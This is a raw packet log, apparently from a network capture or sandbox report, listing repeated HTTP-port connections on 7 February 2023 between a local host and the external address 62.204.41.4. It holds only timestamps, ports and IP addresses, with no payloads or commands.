Feb 7, 2023 23:07:11.563330889 CET	80	49735	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:11.563544035 CET	49735	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:11.564677000 CET	49735	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:11.626869917 CET	80	49735	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:11.630836010 CET	80	49735	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:11.630995989 CET	49735	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:11.733306885 CET	49735	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:11.734195948 CET	49736	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:11.794724941 CET	80	49736	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:11.794971943 CET	49736	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:11.795809031 CET	80	49735	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:11.795921087 CET	49735	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:11.796308994 CET	49736	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:11.856781960 CET	80	49736	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:11.859110117 CET	80	49736	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:11.859256983 CET	49736	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:11.968090057 CET	49736	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:11.969057083 CET	49737	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:12.028678894 CET	80	49736	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:12.028815985 CET	49736	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:12.031554937 CET	80	49737	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:12.031698942 CET	49737	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:12.033255100 CET	49737	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:12.095710993 CET	80	49737	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:12.100027084 CET	80	49737	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:12.100148916 CET	49737	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:12.202204943 CET	49737	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:12.203079939 CET	49738	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:12.263905048 CET	80	49738	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:12.264081955 CET	49738	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:12.264756918 CET	80	49737	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:12.264827013 CET	49737	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:12.270874977 CET	49738	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:12.331641912 CET	80	49738	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:12.334152937 CET	80	49738	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:12.334342957 CET	49738	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:12.437453032 CET	49738	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:12.438425064 CET	49739	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:12.498347998 CET	80	49738	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:12.498471022 CET	49738	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:12.499975920 CET	80	49739	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:12.500096083 CET	49739	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:12.501528978 CET	49739	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:12.563122988 CET	80	49739	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:12.565644026 CET	80	49739	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:12.565721035 CET	49739	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:12.673409939 CET	49739	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:12.674269915 CET	49740	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:12.734873056 CET	80	49740	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:12.735009909 CET	49740	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:12.735109091 CET	80	49739	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:12.735184908 CET	49739	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:12.735379934 CET	49740	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:12.795703888 CET	80	49740	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:12.798036098 CET	80	49740	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:12.798166037 CET	49740	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:12.908216953 CET	49740	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:12.909061909 CET	49741	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:12.968935966 CET	80	49740	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:12.969065905 CET	49740	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:12.971520901 CET	80	49741	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:12.971807003 CET	49741	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:12.972312927 CET	49741	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:13.034604073 CET	80	49741	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:13.038661957 CET	80	49741	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:13.038744926 CET	49741	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:13.155582905 CET	49741	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:13.156330109 CET	49742	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:13.216120005 CET	80	49742	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:13.216742039 CET	49742	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:13.217593908 CET	49742	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:13.218039036 CET	80	49741	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:13.218146086 CET	49741	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:13.277147055 CET	80	49742	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:13.279896975 CET	80	49742	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:13.280039072 CET	49742	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:13.392316103 CET	49742	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:13.392976999 CET	49743	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:13.452037096 CET	80	49742	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:13.452303886 CET	49742	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:13.453402996 CET	80	49743	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:13.453599930 CET	49743	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:13.457751036 CET	49743	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:13.518315077 CET	80	49743	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:13.521526098 CET	80	49743	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:13.521677971 CET	49743	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:13.624525070 CET	49743	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:13.627379894 CET	49745	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:13.685108900 CET	80	49743	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:13.685298920 CET	49743	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:13.688941956 CET	80	49745	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:13.689100981 CET	49745	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:13.690917015 CET	49745	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:13.752609968 CET	80	49745	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:13.755095959 CET	80	49745	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:13.755528927 CET	49745	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:13.859411955 CET	49745	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:13.860388041 CET	49746	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:13.921262980 CET	80	49745	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:13.921371937 CET	49745	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:13.921833992 CET	80	49746	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:13.922333956 CET	49746	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:13.923683882 CET	49746	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:13.984911919 CET	80	49746	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:13.987709045 CET	80	49746	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:13.991920948 CET	49746	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:14.108839989 CET	49746	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:14.109146118 CET	49747	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:14.169840097 CET	80	49747	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:14.170339108 CET	80	49746	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:14.170356989 CET	49747	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:14.170480013 CET	49746	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:14.171173096 CET	49747	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:14.231523037 CET	80	49747	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:14.233777046 CET	80	49747	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:14.233932018 CET	49747	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:14.342772007 CET	49747	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:14.343403101 CET	49748	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:14.402920008 CET	80	49748	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:14.403233051 CET	49748	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:14.403378963 CET	80	49747	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:14.403503895 CET	49747	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:14.403703928 CET	49748	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:14.463129997 CET	80	49748	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:14.465245962 CET	80	49748	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:14.465394974 CET	49748	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:14.577888966 CET	49748	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:14.578545094 CET	49749	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:14.637623072 CET	80	49748	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:14.638959885 CET	49748	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:14.639909029 CET	80	49749	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:14.642261982 CET	49749	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:14.642908096 CET	49749	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:14.704123020 CET	80	49749	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:14.706435919 CET	80	49749	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:14.706660032 CET	49749	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:14.813137054 CET	49749	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:14.817925930 CET	49750	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:14.875133991 CET	80	49749	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:14.878289938 CET	49749	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:14.879993916 CET	80	49750	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:14.882234097 CET	49750	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:14.882616997 CET	49750	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:14.944473982 CET	80	49750	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:14.946597099 CET	80	49750	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:14.946794987 CET	49750	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:15.064094067 CET	49750	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:15.065834999 CET	49751	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:15.126348019 CET	80	49750	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:15.126395941 CET	80	49751	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:15.126569033 CET	49750	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:15.127197981 CET	49751	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:15.127197981 CET	49751	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:15.187834024 CET	80	49751	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:15.192442894 CET	80	49751	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:15.192580938 CET	49751	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:15.311686039 CET	49751	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:15.312371969 CET	49752	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:15.372253895 CET	80	49752	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:15.372284889 CET	80	49751	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:15.372879982 CET	49751	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:15.373965979 CET	49752	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:15.374109983 CET	49752	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:15.433717966 CET	80	49752	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:15.436098099 CET	80	49752	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:15.436203003 CET	49752	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:15.546976089 CET	49752	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:15.547719002 CET	49753	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:15.606911898 CET	80	49752	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:15.607342005 CET	49752	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:15.610061884 CET	80	49753	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:15.610304117 CET	49753	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:15.610893011 CET	49753	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:15.674257994 CET	80	49753	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:15.676393032 CET	80	49753	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:15.676563025 CET	49753	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:15.780625105 CET	49753	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:15.783864021 CET	49754	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:15.843338013 CET	80	49753	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:15.843411922 CET	49753	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:15.846525908 CET	80	49754	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:15.846637964 CET	49754	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:15.855344057 CET	49754	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:15.918011904 CET	80	49754	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:15.920128107 CET	80	49754	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:15.920279026 CET	49754	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:16.031044006 CET	49754	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:16.031774998 CET	49755	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:16.092318058 CET	80	49755	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:16.092462063 CET	49755	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:16.092891932 CET	49755	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:16.093588114 CET	80	49754	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:16.093671083 CET	49754	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:16.153328896 CET	80	49755	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:16.156837940 CET	80	49755	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:16.156944990 CET	49755	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:16.266494036 CET	49755	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:16.267285109 CET	49756	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:16.327228069 CET	80	49755	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:16.327328920 CET	49755	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:16.329857111 CET	80	49756	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:16.329991102 CET	49756	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:16.330636978 CET	49756	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:16.393189907 CET	80	49756	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:16.396106958 CET	80	49756	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:16.396253109 CET	49756	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:16.508323908 CET	49756	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:16.509124041 CET	49757	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:16.569659948 CET	80	49757	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:16.569744110 CET	49757	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:16.570116043 CET	49757	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:16.570933104 CET	80	49756	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:16.571166039 CET	49756	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:16.630459070 CET	80	49757	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:16.632927895 CET	80	49757	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:16.633024931 CET	49757	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:16.750201941 CET	49758	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:16.750211954 CET	49757	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:16.811290026 CET	80	49757	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:16.811450005 CET	49757	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:16.812907934 CET	80	49758	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:16.813114882 CET	49758	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:16.813664913 CET	49758	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:16.876199961 CET	80	49758	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:16.878535032 CET	80	49758	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:16.878711939 CET	49758	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:16.986270905 CET	49758	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:16.987092018 CET	49759	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:17.046847105 CET	80	49759	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:17.048427105 CET	49759	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:17.048892975 CET	80	49758	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:17.048990965 CET	49758	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:17.049971104 CET	49759	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:17.109520912 CET	80	49759	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:17.114705086 CET	80	49759	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:17.114891052 CET	49759	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:17.219254971 CET	49759	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:17.220859051 CET	49760	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:17.278914928 CET	80	49759	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:17.279905081 CET	49759	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:17.282601118 CET	80	49760	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:17.282823086 CET	49760	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:17.283371925 CET	49760	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:17.344973087 CET	80	49760	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:17.347282887 CET	80	49760	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:17.352447033 CET	49760	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:17.484755993 CET	49760	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:17.485784054 CET	49761	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:17.546241045 CET	80	49760	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:17.546610117 CET	49760	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:17.547971964 CET	80	49761	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:17.548146963 CET	49761	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:17.550184011 CET	49761	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:17.612579107 CET	80	49761	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:17.615426064 CET	80	49761	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:17.615581989 CET	49761	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:17.730477095 CET	49761	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:17.731529951 CET	49762	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:17.792929888 CET	80	49762	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:17.792984962 CET	80	49761	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:17.793190002 CET	49761	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:17.795463085 CET	49762	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:17.827369928 CET	49762	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:17.888757944 CET	80	49762	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:17.891773939 CET	80	49762	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:17.891963959 CET	49762	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:18.158314943 CET	49762	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:18.159061909 CET	49763	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:18.219583035 CET	80	49763	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:18.219736099 CET	80	49762	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:18.219801903 CET	49763	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:18.222878933 CET	49762	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:18.271872044 CET	49763	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:18.332561970 CET	80	49763	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:18.334903955 CET	80	49763	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:18.335129976 CET	49763	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:18.495214939 CET	49763	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:18.495894909 CET	49764	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:18.555774927 CET	80	49763	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:18.555924892 CET	49763	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:18.557332039 CET	80	49764	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:18.557544947 CET	49764	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:18.587959051 CET	49764	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:18.649765015 CET	80	49764	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:18.652221918 CET	80	49764	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:18.652331114 CET	49764	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:18.765409946 CET	49764	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:18.766283035 CET	49765	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:18.827193975 CET	80	49764	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:18.827321053 CET	49764	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:18.827575922 CET	80	49765	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:18.830820084 CET	49765	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:19.352231026 CET	49765	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:19.413491011 CET	80	49765	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:19.415371895 CET	80	49765	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:19.415498018 CET	49765	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:19.571284056 CET	49765	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:19.572055101 CET	49766	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:19.632613897 CET	80	49766	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:19.632689953 CET	80	49765	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:19.632862091 CET	49766	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:19.638739109 CET	49765	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:19.651200056 CET	49766	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:19.711760998 CET	80	49766	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:19.715879917 CET	80	49766	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:19.715965033 CET	49766	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:19.873929977 CET	49766	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:19.874793053 CET	49767	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:19.934616089 CET	80	49766	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:19.934742928 CET	49766	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:19.936240911 CET	80	49767	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:19.936415911 CET	49767	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:19.936779976 CET	49767	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:19.998138905 CET	80	49767	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:20.000106096 CET	80	49767	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:20.000245094 CET	49767	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:20.734730959 CET	49767	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:20.739777088 CET	49768	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:20.796475887 CET	80	49767	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:20.796638012 CET	49767	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:20.801631927 CET	80	49768	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:20.801810980 CET	49768	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:20.940206051 CET	49768	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:21.004518986 CET	80	49768	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:21.005235910 CET	80	49768	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:21.005350113 CET	49768	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:21.147907972 CET	49768	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:21.150228977 CET	49769	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:21.209625959 CET	80	49768	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:21.209795952 CET	49768	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:21.211882114 CET	80	49769	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:21.212054014 CET	49769	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:21.212903023 CET	49769	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:21.274665117 CET	80	49769	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:21.278456926 CET	80	49769	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:21.278603077 CET	49769	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:21.393131971 CET	49769	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:21.394016027 CET	49770	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:21.454833031 CET	80	49770	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:21.454870939 CET	80	49769	62.204.41.4	192.168.2.7
